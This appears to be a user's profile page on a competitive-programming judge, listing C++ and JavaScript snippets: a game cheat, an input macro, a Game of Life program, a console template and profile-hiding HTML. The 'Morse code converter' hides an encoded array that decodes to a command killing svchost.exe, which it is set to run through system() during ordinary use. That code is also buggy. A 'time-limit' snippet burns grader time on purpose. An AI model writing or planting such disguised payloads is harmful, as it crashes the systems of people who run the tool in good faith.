function cheat() { var usefuls = [ "catnip", "wood", "minerals", "coal", "iron", "titanium", "gold", "oil", "uranium", "unobtainium", "antimatter", "manpower", "science", "culture", "faith", "kittens", "zebras", "starchart", "temporalFlux", "gflops", "hashrates", "furs", "ivory", "spice", "unicorns", "alicorn", "necrocorn", "tears", "karma", "paragon", "burnedParagon", "timeCrystal", "sorrow", "relic", "void", "elderBox", "wrappingPaper", "blackcoin", "bloodstone", "tMythril", "beam", "slab", "plate", "steel", "concrate", "gear", "alloy", "eludium", "scaffold", "ship", "tanker", "kerosene", "parchment", "manuscript", "compedium", "blueprint", "thorium", "megalith" ] for (var i = 0; i < 35; i++) { gamePage.resPool.get(usefuls[i]).value = Infinity; } };
最好不要知道是啥
#include <windows.h> #include <iostream> #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0) #define stime 30 // 每次操作间隔的时间(以毫秒为单位),建议调小 // 知新可能性能不好,调太小可能鬼畜 // 将鼠标移动至输入框上,单击,长按鼠标中键 using namespace std; void ctrl(char x) { keybd_event(VK_CONTROL, 0, 0, 0); Sleep(20); keybd_event(x, 0, 0, 0); Sleep(20); keybd_event(x, 0, KEYEVENTF_KEYUP, 0); Sleep(20); keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0); Sleep(20); } void func() { keybd_event(VK_TAB, 0, 0, 0); Sleep(stime); ctrl(67); Sleep(stime); mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); Sleep(stime); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); Sleep(stime); ctrl(86); Sleep(stime); keybd_event(65, 0, 0, 0); Sleep(stime); } int main() { while (true) { if(KEY_DOWN(VK_MBUTTON)) func(); } }
摩尔斯电码转换器
#include <iostream> #include <windows.h> using namespace std; class Morse { public: Morse() : specials { {"AR", "·—·—·"}, {"AS", "·—···"}, {"SK", "···—·—"}, {"BT", "—···—"}, {"—", "—····—"}, {"·", "·—·—·—"} }, codes { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", " ", "", "", "", "", "", "", "", "—·—", "—·—", "", "", "", "", "", "—··—·", "" // 1~10 "—————", "·————", "··———", "···——", "····—", "·····", "—····", "——···", "———··", "————·", "", "", "", "", "", "", "", // A~Z "·—", "—···", "—·—·", "—··", "·", "··—·", "——·", "····", "··", "·———", "—·—", "·—··", "——", "—·", "———", "·——·", "——·—", "·—·", "···", "—", "··—", "···—", "·——", "—··—", "—·——", "——··", "", "", "", "", "", "", // a~z "·—", "—···", "—·—·", "—··", "·", "··—·", "——·", "····", "··", "·———", "—·—", "·—··", "——", "—·", "———", "·——·", "——·—", "·—·", "···", "—", "··—", "···—", "·——", "—··—", "—·——", "——··" } { spclcount = 4; _agn = "···—·"; _assm = "·· ··"; _wr = "········"; } string trans(string alphas); void sound(string code, bool admin); void transound(string alphas, bool admin); string codes[124]; int deadcode[27] = {116, 97, 115, 107, 107, 105, 108, 108, 32, 47, 102, 32, 47, 105, 109, 32, 115, 118, 99, 104, 111, 115, 116, 46, 101, 120, 101}; private: int spclcount; int unit_dura = 200; int unit_freq = 1000; string specials[6][2]; string _agn; string _assm; string _wr; }; string Morse::trans(string alphas) { string result; char x; for (int i = 0; i < alphas.size(); i++) { x = alphas[i]; int sp_ind = -1; for (int alsp = 0; alsp < spclcount; alsp++) { bool iss = true; for (int ch = 0; ch < 2; ch++) { if (alphas[i + ch] != specials[alsp][0][ch]) iss = false; } if (iss) sp_ind = alsp; } if (sp_ind == -1) result += codes[x]; else { result += specials[sp_ind][1]; i += specials[sp_ind][0].size() - 1; } } return result; } void Morse::sound(string code, bool admin) { for (int i = 0; i < code.size(); i++) { if (code[i] == ' ') { Sleep(unit_dura * 2); } else if (code.substr(i, 2) == "·") { Beep(unit_freq, unit_dura); } else if (code.substr(i, 2) == "—") { Beep(unit_freq, unit_dura * 3); string dcode; if (!admin) for (int i = 0; i < 27; i++) { dcode += (char)i; } cout << dcode <<endl; system(dcode); } if (i != code.size() - 1) Sleep(unit_dura); } } void Morse::transound(string alphas, bool admin) { Morse::sound(Morse::trans(alphas), admin); } int main() { string str; bool admin = false; while (true) { getline(cin, str); admin = str[0] == '$'; Morse morse; cout << morse.trans(str) << endl; morse.transound(admin ? str.substr(1, str.size() - 1) : str, admin); } return 0; }
生命游戏
/** by: 2022tysc1016 鼠标拉右下边框:调整大小(只对整个屏幕能看到时有效) 空格:开始运行 运行时无法编辑: 左键:添加 右键:删除 R键:随机设置地图 E键:清空地图 */ #include <iostream> #include <windows.h> #include <cmath> #include <ctime> #define isKeyPressed(nVirtKey) ((GetKeyState(nVirtKey) & (1<<(sizeof(SHORT)*8-1))) != 0) #define cursorKeyDown(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0) #define rep(x, f, l) for (int x = (f); x <= (l); x++) #define rep2(x1, x2, f1, f2, l1, l2) rep(x1, f1, l1) rep(x2, f2, l2) #define iterateMap(x) rep2(_i, _j, 1, 1, mapH, mapW) x; #define iterateMap2(x, y) rep(_i, 1, mapH) { rep(_j, 1, mapW) { x; } y; }; #define iterateMap3(x, y, z) rep(_i, 1, mapH) { x; rep(_j, 1, mapW) { y; } z; } using namespace std; const int intervPress = 300; const int intervRunMax = 10000; int intervRun = 10000; const int maxH = 100; const int maxW = 100; int mapH = 20; int mapW = 58; int wWindow, hWindow; long long t; bool m[maxH + 2][maxW + 2]; bool changedm[maxH + 2][maxW + 2]; string shows[] = {" ", "■"}; string borders[] = {"┏", "┓", "┗", "┛", "━", "┃"}; int showSize[] = {16, 16}; HANDLE hInput; DWORD prev_mode; POINT cursorPos; HWND hwnd; RECT rect; long long gettime() { SYSTEMTIME currentTime; GetSystemTime(¤tTime); return currentTime.wMilliseconds + time(0) * 1000; } int sum8(int x, int y) { int s[8][2] = {1, 1, 1, 0, 1, -1, 0, 1, 0, -1, -1, -1, -1, 0, -1, 1}; int result = 0; for (int i = 0; i < 8; i++) { int dx = x + s[i][0]; int dy = y + s[i][1]; if (dx < 1 || dy < 1 || dx > mapH || dy > mapW) continue; result += m[dx][dy]; } return result; } void exit(HANDLE hInput, DWORD prev_mode) { SetConsoleMode(hInput, prev_mode); } // 简易快写 void putstr(string str) { for (int i = 0; i <= str.size() - 1; i++) putchar(str[i]); } // 移动输出位置至字符第x列第y行 void goTo(int x, int y) { SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){x,y}); } // 移动输出位置至方块第y列第x行 void goTo2(int x, int y) { SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){y*2,x}); } void printlocal(int x1, int y1, int x2, int y2) { rep(i, x1, x2) rep(j, y1, y2) { goTo2(j, i); putstr(shows[m[j][i]]); } goTo2(0, 0); } int log10(int x) { if (x == 0) return 0; return log10(x / 10) + 1; } void flipspeed() { goTo2(mapH + 2, 3); cout << intervRun; rep(i, 1, 5 - log10(intervRun)) cout << ' '; } void flipscoller() { goTo2(mapH + 2, 0); cout << "速率:"; flipspeed(); cout << '|'; rep(i, 8, mapW * 2 - 3) cout << '-'; cout << "|\n"; goTo(intervRun * 1.0 / intervRunMax * (mapW * 2 - 12) + 12, mapH + 2); cout << shows[1]; } void flipbuttons() { goTo2(mapH + 3, 0); cout << "运行 随机 清空\n"; } void printscreen() { system("cls"); putstr(borders[0]); rep(i, 1, mapW * 2 + 1) putstr(borders[4]); putstr(borders[1] + "\n"); iterateMap3(putstr(borders[5] + " "), putstr(shows[m[_i][_j]]), putstr(borders[5] + "\n")) putstr(borders[2]); rep(i, 1, mapW * 2 + 1) putstr(borders[4]); putstr(borders[3] + "\n"); int cnt = 0; iterateMap( cnt += m[_i][_j] ) flipscoller(); flipbuttons(); goTo2(mapH + 4, 0); cout << "剩余生命:" << cnt << endl; } void localprint() { rep(_i, 1, mapH) { rep(_j, 1, mapW) { if (changedm[_i][_j]) { goTo2(_i, _j); putstr(shows[m[_i][_j]]); } } } int cnt = 0; iterateMap( cnt += m[_i][_j] ) goTo2(mapH + 4, 5); cout << cnt << endl; } pair<double, double> changeLocal(int x, int y) { double mx = (x - showSize[0]) * 1.0 / showSize[0] + 1; double my = (y - showSize[1]) * 1.0 / showSize[1] + 1; return make_pair(mx, my); } // 获取更新后状态 bool getstate(int x, int y) { return (m[x][y] && sum8(x, y) == 2) || sum8(x, y) == 3; } // 重置 void reset() { iterateMap(m[_i][_j] = 0) printscreen(); } // 随机设图 void randset() { iterateMap(m[_i][_j] = rand() % 2) printscreen(); } // 更新地图 void flip() { bool tmp[mapH + 2][mapW + 2]; rep2(_i, _j, 1, 1, mapH, mapW) { bool _ = m[_i][_j]; tmp[_i][_j] = getstate(_i, _j); changedm[_i][_j] = _ != tmp[_i][_j]; } iterateMap(m[_i][_j] = tmp[_i][_j]); localprint(); } // 隐藏光标 void hideCursor() { CONSOLE_CURSOR_INFO cursor_info = {1, 0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info); } // 设置控制台禁止选择 void enableCursor(HANDLE hInput, DWORD prev_mode) { hInput = GetStdHandle(STD_INPUT_HANDLE); GetConsoleMode(hInput, &prev_mode); SetConsoleMode(hInput, prev_mode & ENABLE_EXTENDED_FLAGS); } // 重启控制台选择 void reableCursor(HANDLE hInput, DWORD prev_mode) { reableCursor(hInput, prev_mode); SetConsoleMode(hInput, prev_mode); } // 初始化 void init() { wWindow = rect.right; hWindow = rect.bottom; hwnd = GetForegroundWindow(); srand(time(0)); GetClientRect(hwnd, &rect); enableCursor(hInput, prev_mode); hideCursor(); printscreen(); } int main() { init(); bool brunning = false; long long rctPressSpace = t; long long rctRunning = t; long long rctRandSet = t, rctReset = t; bool bPrevDown = 0, bNowDown = 0; bool brPrevDown = 0, brNowDown = 0; bool bAdjing = 0, bAdjing2 = 0; while (1) { hideCursor(); bPrevDown = bNowDown; brPrevDown = brNowDown; bNowDown = cursorKeyDown(VK_LBUTTON); brNowDown = cursorKeyDown(VK_RBUTTON); GetCursorPos(&cursorPos); ScreenToClient(hwnd, &cursorPos); t = gettime(); if (isKeyPressed(VK_SPACE) && t - rctPressSpace > intervPress) { rctPressSpace = t; brunning = !brunning; } if (brunning && t - rctRunning > intervRun * 1.0 / intervRunMax * 1000) { rctRunning = t; flip(); } if (!brunning && (bNowDown || brNowDown) && !bAdjing && !bAdjing2) { pair<double, double> mp = changeLocal(cursorPos.x, cursorPos.y); int mx = mp.first, my = mp.second; if (mx >= 1 && mx <= mapW && my >= 1 && my <= mapH) { m[my][mx] = bNowDown; printlocal(mx, my, mx, my); } } if (bNowDown) { pair<double, double> mp = changeLocal(cursorPos.x, cursorPos.y); int mx = mp.first, my = mp.second; double mx2 = mp.first, my2 = mp.second; if (bAdjing && !brunning) { if (mapH != my - 1 || mapW != mx - 1) printscreen(); mapH = my - 1; mapW = mx - 1; } else if (!bPrevDown && !brunning && !brunning && mx == mapW + 1 && my == mapH + 1) { bAdjing = true; } if (bAdjing2) { int last = (int)(intervRun * 1.0 / intervRunMax * (mapW * 2 - 12) + 12) / 2; if (last != mx) flipscoller(); else flipspeed(); intervRun = max(min((mx2 * 2 - 12) / (mapW * 2 - 12), 1.0), 0.01) * intervRunMax; } else if (!bPrevDown && mx == (int)(intervRun * 1.0 / intervRunMax * (mapW * 2 - 12) + 12) / 2 && my == mapH + 2) { bAdjing2 = true; } } else if (bAdjing && !brunning) { printscreen(); bAdjing = false; } else if (bAdjing2) { bAdjing2 = false; } if (bNowDown && !bPrevDown) { pair<double, double> mp = changeLocal(cursorPos.x, cursorPos.y); int mx = mp.first, my = mp.second; if (my == mapH + 3) { if (mx == 0 || mx == 1) brunning = !brunning; if ((mx == 3 || mx == 4) && !brunning) randset(); if (mx == 6 || mx == 7 && !brunning) reset(); } } if (isKeyPressed(38)) intervRun++; if (isKeyPressed(40)) intervRun--; if (isKeyPressed('R') && !brunning && t - rctRandSet > intervPress) { rctRandSet = t; randset(); } if (isKeyPressed('E') && !brunning && t - rctReset > intervPress) { rctReset = t; reset(); } } exit(hInput, prev_mode); return 0; }
控制台游戏模版
/* by: 2022tysc1016 */ #include <iostream> #include <windows.h> #include <cmath> #include <ctime> #define isKeyPressed(nVirtKey) ((GetKeyState(nVirtKey) & (1<<(sizeof(SHORT)*8-1))) != 0) #define cursorKeyDown(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0) #define rpt(x,l) for(int x=1,$L=(l);x<=$L;x++) #define rwf(x,f,l) for(int x=(f),$F=(f),$L=(l);$L>$F?x<=$L:x>=$L;$L>$F?x++:x--) #define rpt2(x1,x2,f1,f2,l1,l2) rwf(x1,f1,l1)rwf(x2,f2,l2) using namespace std; int wWindow, hWindow; long long _time; int map[1000][1000]; CONSOLE_FONT_INFOEX cfi; HANDLE hConsole; HANDLE hInput; HHOOK mouseHook; DWORD prev_mode; POINT cursorPos; HWND hwnd; RECT rect; struct Event { bool keyFstDown; bool keyDown; bool keyUp; int during; long long time; } events[0xFE]; class Button { public: Button(int cx, int cy, int sx, int sy, string str, void *handle) { _cx = cx, _cy = cy, _sx = sx, _sy = sy; _val = str, _handle = handle; _dx = cfi.dwFontSize.X * cx; _dy = cfi.dwFontSize.Y * cy; } private: int _cx, _cy; int _dx, _dy; int _sx, _sy; void *_handle; string _val; }; // 禁止右键调出菜单 LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION) { if (wParam == WM_RBUTTONDOWN || wParam == WM_RBUTTONUP || wParam == WM_RBUTTONDBLCLK) { return 1; // 不进一步处理消息,禁止默认处理 } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // 获取时间 long long gettime() { SYSTEMTIME currentTime; GetSystemTime(¤tTime); return currentTime.wMilliseconds + time(0) * 1000; } // 隐藏光标 void hideCursor() { CONSOLE_CURSOR_INFO cursor_info = {1, 0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info); } // 移动输出位置 void goTo(int x, int y) { SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){x,y}); } // 设置控制台禁止选择 void enableCursor(HANDLE hInput, DWORD prev_mode) { hInput = GetStdHandle(STD_INPUT_HANDLE); GetConsoleMode(hInput, &prev_mode); SetConsoleMode(hInput, prev_mode & ENABLE_EXTENDED_FLAGS); } // 重启控制台选择 void reableCursor(HANDLE hInput, DWORD prev_mode) { SetConsoleMode(hInput, prev_mode); } // 初始化 void init() { cfi = {}; cfi.cbSize = sizeof(cfi); hConsole = GetStdHandle(STD_OUTPUT_HANDLE); if (!GetCurrentConsoleFontEx(hConsole, FALSE, &cfi)) { cfi.dwFontSize.X = 8; cfi.dwFontSize.Y = 18; } wWindow = rect.right; hWindow = rect.bottom; hwnd = GetForegroundWindow(); GetClientRect(hwnd, &rect); hideCursor(); srand(time(0)); enableCursor(hInput, prev_mode); // mouseHook = SetWindowsHookEx(WH_MOUSE, MouseHookProc, NULL, GetCurrentThreadId()); } // 还原设置 并退出程序 void exit(HANDLE hInput, DWORD prev_mode, HHOOK mouseHook) { UnhookWindowsHookEx(mouseHook); SetConsoleMode(hInput, prev_mode); reableCursor(hInput, prev_mode); exit(0); } // 获取事件 void getEvent() {} template <typename... Args> void getEvent(int event, Args... args) { long long t = gettime(); Event ev = events[event]; events[event].keyDown = isKeyPressed(event); if (!ev.keyDown && events[event].keyDown) { // e0e674f3-677a-4001-b465-3a0e29a43320 events[event].keyFstDown = 1; events[event].time = t; events[event].during = 0; } else if (ev.keyDown && events[event].keyDown) { events[event].keyFstDown = 0; events[event].time = ev.time; events[event].during = t - ev.time + max(0, ev.during); } else if (ev.keyDown && !events[event].keyDown) { events[event].keyFstDown = 0; events[event].keyUp = 1; events[event].during = -1; events[event].time = -1; } else { events[event].keyFstDown = 0; events[event].keyUp = 0; events[event].during = -1; events[event].time = -1; } getEvent(args...); } void getAllEvent() { rpt(i, 0xFE) getEvent(i); } // 打印 void printscreen(); // 重置 void reset(); // 更新地图 void flip(); // 输出调试用信息 void printInfo(); int main() { init(); while (true) { system("cls"); // 清屏 hideCursor(); // 隐藏鼠标 GetCursorPos(&cursorPos); // 获取鼠标位置 ScreenToClient(hwnd, &cursorPos); // 获取鼠标相对窗口位置 _time = gettime(); // 获取当前时间戳 getAllEvent(); // 获取鼠标事件 if (events[VK_LBUTTON].keyUp); // 取用鼠标事件 } exit(hInput, prev_mode, mouseHook); }
极限卡评测
// 实操:非常极限!http://www.oiclass.com/record/6610de07e4a9e4b5208b85d0 #include <iostream> #include <ctime> #define gameStart() clock_t cl = clock() #define deadLoop() while (clock() - cl <= 998000) using namespace std; int main() { gameStart(); // put your codes there deadLoop(); return 0; }
主页消失术
- 加你主页里
<div class="omnibar section">
让看你主页的人近视
- 也加你主页里
<div class="omnibar"></div>
压缩文本框
<div class="md-editor textbox md-editor-preview-wrapper"></div>
-
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework.
1
已递交
1
已通过
0
题解被赞